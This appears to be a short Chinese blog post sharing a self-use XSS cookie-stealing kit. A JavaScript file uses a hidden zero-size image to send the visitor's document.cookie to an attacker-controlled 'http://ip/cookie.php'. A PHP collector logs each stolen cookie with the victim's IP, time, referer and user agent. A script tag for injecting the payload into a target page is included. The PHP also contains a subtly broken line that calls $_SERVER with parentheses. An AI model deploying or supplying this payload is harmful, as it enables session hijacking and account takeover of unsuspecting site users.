自用的打cookie简易js脚本

js代码

cookie.js代码如下:

var img = document.createElement('img');
img.width = 0;
img.height = 0;
img.src = 'http://ip/cookie.php?cookie='+encodeURIComponent(document.cookie);

php代码

cookie.php代码如下:

<?php
    @ini_set('display_errors',1);
    $cookie= $_GET['cookie'];
    $ip = getenv('REMOTE_ADDR');
    $time = date('Y-m-d g:i:s');
    $referer = getenv ('HTTP_REFERER');
    $agent = $_SERVER('HTTP_USER_AGENT');

    $handler = fopen('cookie.txt', 'a');
    fwrite($handler," IP: " .$ip. "\n Date and Time: " .$time. "\n User Agent:".$agent."\n Referer: ".$referer."\n Cookie: ".$cookie."\n\n\n");
    fclose($handler);
?>

使用

<script src="http://ip/cookie.js"></script>
posted @ 2019-12-21 16:57  binggogo  阅读(398)  评论(0编辑  收藏  举报